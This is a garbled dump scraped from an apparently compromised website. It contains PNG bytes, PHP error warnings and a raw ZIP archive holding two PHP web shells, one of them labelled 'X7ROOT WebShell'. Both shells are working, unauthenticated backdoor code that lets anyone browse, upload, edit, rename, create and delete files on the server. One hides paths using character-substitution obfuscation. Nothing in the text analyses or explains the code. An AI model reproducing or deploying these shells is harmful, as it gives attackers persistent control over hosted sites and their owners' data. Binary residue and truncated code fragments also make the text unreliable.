?‘λPNG
IHDR ? f ??C1 sRGB ??¨¦ gAMA ‘ΐ?¨Ήa pHYs ? ??o‘§d GIDATx^¨ͺ¨ΉL‘±‘Βe‘ΒY?a?("Bh?_¨°???‘ι‘μ?q5k?*:t0A-o??£€]VkJ‘ιM??f?‘ΐ8\k2¨ͺll‘κ1]q?¨΄???T
Warning : file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
in /home/user1137782/www/china1.by/classwithtostring.php on line 86
Warning : Cannot modify header information - headers already sent by (output started at /home/user1137782/www/china1.by/classwithtostring.php:6) in /home/user1137782/www/china1.by/classwithtostring.php on line 213
Warning : Cannot modify header information - headers already sent by (output started at /home/user1137782/www/china1.by/classwithtostring.php:6) in /home/user1137782/www/china1.by/classwithtostring.php on line 214
Warning : Cannot modify header information - headers already sent by (output started at /home/user1137782/www/china1.by/classwithtostring.php:6) in /home/user1137782/www/china1.by/classwithtostring.php on line 215
Warning : Cannot modify header information - headers already sent by (output started at /home/user1137782/www/china1.by/classwithtostring.php:6) in /home/user1137782/www/china1.by/classwithtostring.php on line 216
Warning : Cannot modify header information - headers already sent by (output started at /home/user1137782/www/china1.by/classwithtostring.php:6) in /home/user1137782/www/china1.by/classwithtostring.php on line 217
Warning : Cannot modify header information - headers already sent by (output started at /home/user1137782/www/china1.by/classwithtostring.php:6) in /home/user1137782/www/china1.by/classwithtostring.php on line 218
PK j [kοΕΧ Χ .htaccessnu W+AΆ
Order allow,deny
Deny from all
Order allow,deny
Allow from all
PK j [kοΕΧ Χ 506436/.htaccessnu W+AΆ
Order allow,deny
Deny from all
Order allow,deny
Allow from all
PK j [ZH"³7 ³7 506436/index.phpnu W+AΆ ο»Ώ
000 = 1073741824) {
$bytes = number_format($bytes / 1073741824, 2) . " GB";
} elseif ($bytes >= 1048576) {
$bytes = number_format($bytes / 1048576, 2) . " MB";
} elseif ($bytes >= 1024) {
$bytes = number_format($bytes / 1024, 2) . " KB";
} elseif ($bytes > 1) {
$bytes = $bytes . " bytes";
} elseif ($bytes == 1) {
$bytes = $bytes . " byte";
} else {
$bytes = "0 bytes";
}
return $bytes;
}
function fileExtension($file)
{
return substr(strrchr($file, "."), 1);
}
function fileIcon($file)
{
$imgs = [
"apng",
"avif",
"gif",
"jpg",
"jpeg",
"jfif",
"pjpeg",
"pjp",
"png",
"svg",
"webp",
];
$audio = ["wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"];
$ext = strtolower(fileExtension($file));
if ($file == "error_log") {
return ' ';
} elseif ($file == ".htaccess") {
return ' ';
}
if ($ext == "html" || $ext == "htm") {
return ' ';
} elseif ($ext == "php" || $ext == "phtml") {
return ' ';
} elseif (in_array($ext, $imgs)) {
return ' ';
} elseif ($ext == "css") {
return ' ';
} elseif ($ext == "txt") {
return ' ';
} elseif (in_array($ext, $audio)) {
return ' ';
} elseif ($ext == "py") {
return ' ';
} elseif ($ext == "js") {
return ' ';
} else {
return ' ';
}
}
function encodePath($path)
{
$a = ["/", "\\", ".", ":"];
$b = ["ΰ¦", "ΰ¦", "ΰ¦", "ΰ¦"];
return str_replace($a, $b, $path);
}
function decodePath($path)
{
$a = ["/", "\\", ".", ":"];
$b = ["ΰ¦", "ΰ¦", "ΰ¦", "ΰ¦"];
return str_replace($b, $a, $path);
}
$root_path = __DIR__;
if (isset($_GET["p"])) {
if (empty($_GET["p"])) {
$p = $root_path;
} elseif (!is_dir(decodePath($_GET["p"]))) {
echo "";
} elseif (is_dir(decodePath($_GET["p"]))) {
$p = decodePath($_GET["p"]);
}
} elseif (isset($_GET["q"])) {
if (!is_dir(decodePath($_GET["q"]))) {
echo "";
} elseif (is_dir(decodePath($_GET["q"]))) {
$p = decodePath($_GET["q"]);
}
} else {
$p = $root_path;
}
define("PATH", $p);
echo ' ';
$path = str_replace("\\", "/", PATH);
$paths = explode("/", $path);
foreach ($paths as $id => $dir_part) {
if ($dir_part == "" && $id == 0) {
$a = true;
echo "
/ ";
continue;
}
if ($dir_part == "") {
continue;
}
echo "
" . $dir_part . " /";
}
echo '
';
if (isset($_GET["p"])) {
if (is_readable(PATH)) {
$fetch_obj = scandir(PATH);
$folders = [];
$files = [];
foreach ($fetch_obj as $obj) {
if ($obj == "." || $obj == "..") {
continue;
}
$new_obj = PATH . "/" . $obj;
if (is_dir($new_obj)) {
array_push($folders, $obj);
} elseif (is_file($new_obj)) {
array_push($files, $obj);
}
}
}
echo ' Name Size Modified Perms Actions ';
foreach ($folders as $folder) {
echo " " .
$folder .
" --- " .
date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) .
" 0" .
substr(decoct(fileperms(PATH . "/" . $folder)), -3) .
" ";
}
foreach ($files as $file) {
echo " " .
fileIcon($file) .
$file .
" " .
formatSizeUnits(filesize(PATH . "/" . $file)) .
" " .
date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) .
" 0" .
substr(decoct(fileperms(PATH . "/" . $file)), -3) .
" ";
}
echo "
";
} else {
if (empty($_GET)) {
echo "";
}
}
if (isset($_GET["upload"])) {
echo ' ';
}
if (isset($_GET["r"])) {
if (!empty($_GET["r"]) && isset($_GET["q"])) {
echo ' ';
if (isset($_POST["rename"])) {
$name = PATH . "/" . $_GET["r"];
if (rename($name, PATH . "/" . $_POST["name"])) {
echo "";
} else {
echo "";
}
}
}
}
if (isset($_GET["e"])) {
if (!empty($_GET["e"]) && isset($_GET["q"])) {
echo ' ';
if (isset($_POST["edit"])) {
$filename = PATH . "/" . $_GET["e"];
$data = $_POST["data"];
$open = fopen($filename, "w");
if (fwrite($open, $data)) {
echo "";
} else {
echo "";
}
fclose($open);
}
}
}
if (isset($_POST["upload"])) {
$target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
if (
move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)
) {
echo "" .
htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) .
" has been uploaded.
";
} else {
echo "Sorry, there was an error uploading your file.
";
}
}
if (isset($_GET["d"]) && isset($_GET["q"])) {
$name = PATH . "/" . $_GET["d"];
if (is_file($name)) {
if (unlink($name)) {
echo "";
} else {
echo "";
}
} elseif (is_dir($name)) {
if (rmdir($name) == true) {
echo "";
} else {
echo "";
}
}
}
?> PK j [φΊΈ0" 0" index.phpnu W+AΆ 489495df489495df" . basename($dest) . "";
$msgType = 'success';
} else {
$message = '[!] Upload failed.';
$msgType = 'error';
}
}
// ββ EDIT SAVE ββ
if (isset($_POST['save'], $_POST['file'], $_POST['content'])) {
file_put_contents($_POST['file'], $_POST['content']);
$message = '[+] File saved successfully.';
$msgType = 'success';
}
// ββ DELETE ββ
if (isset($_GET['delete'])) {
$target = realpath($_GET['delete']);
if (is_dir($target) ? rmdir($target) : unlink($target)) {
$message = '[+] Deleted successfully.';
$msgType = 'success';
} else {
$message = '[!] Delete failed.';
$msgType = 'error';
}
}
// ββ RENAME FORM ββ
if (isset($_GET['rename'])) {
$old = realpath($_GET['rename']);
$base = basename($old);
echo <<
Rename
Rename "{$base}"
Rename
HTML;
exit;
}
// ββ RENAME ACTION ββ
if (isset($_POST['dorename'], $_POST['file'], $_POST['newname'])) {
$old = realpath($_POST['file']);
$new = dirname($old) . DIRECTORY_SEPARATOR . basename($_POST['newname']);
if (rename($old, $new)) {
$message = '[+] Renamed to ' . basename($new);
$msgType = 'success';
} else {
$message = '[!] Rename failed.';
$msgType = 'error';
}
}
// ββ CREATE FILE ββ
if (isset($_POST['create'], $_POST['newfile'])) {
$newpath = $cwd . DIRECTORY_SEPARATOR . basename($_POST['newfile']);
if (file_put_contents($newpath, $_POST['newcontent'])) {
$message = '[+] Created: ' . basename($newpath);
$msgType = 'success';
} else {
$message = '[!] Create failed.';
$msgType = 'error';
}
}
// ASCII banner
$banner = <<
βββ ββββββββββββββββββ βββββββ βββββββ βββββββββ
βββββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββ βββββββββββββββ ββββββ βββ βββ
ββββββ ββββ βββββββββββ ββββββ βββ βββ
ββββ βββ βββ βββ βββββββββββββββββββββ βββ
HTML;
// OUTPUT PAGE
echo <<
X7ROOT WebShell
$banner
$message
HTML;
PK j [kοΕΧ Χ .htaccessnu W+AΆ PK j [kοΕΧ Χ 506436/.htaccessnu W+AΆ PK j [ZH"³7 ³7 ' 506436/index.phpnu W+AΆ PK j [φΊΈ0" 0" : index.phpnu W+AΆ PK 2 \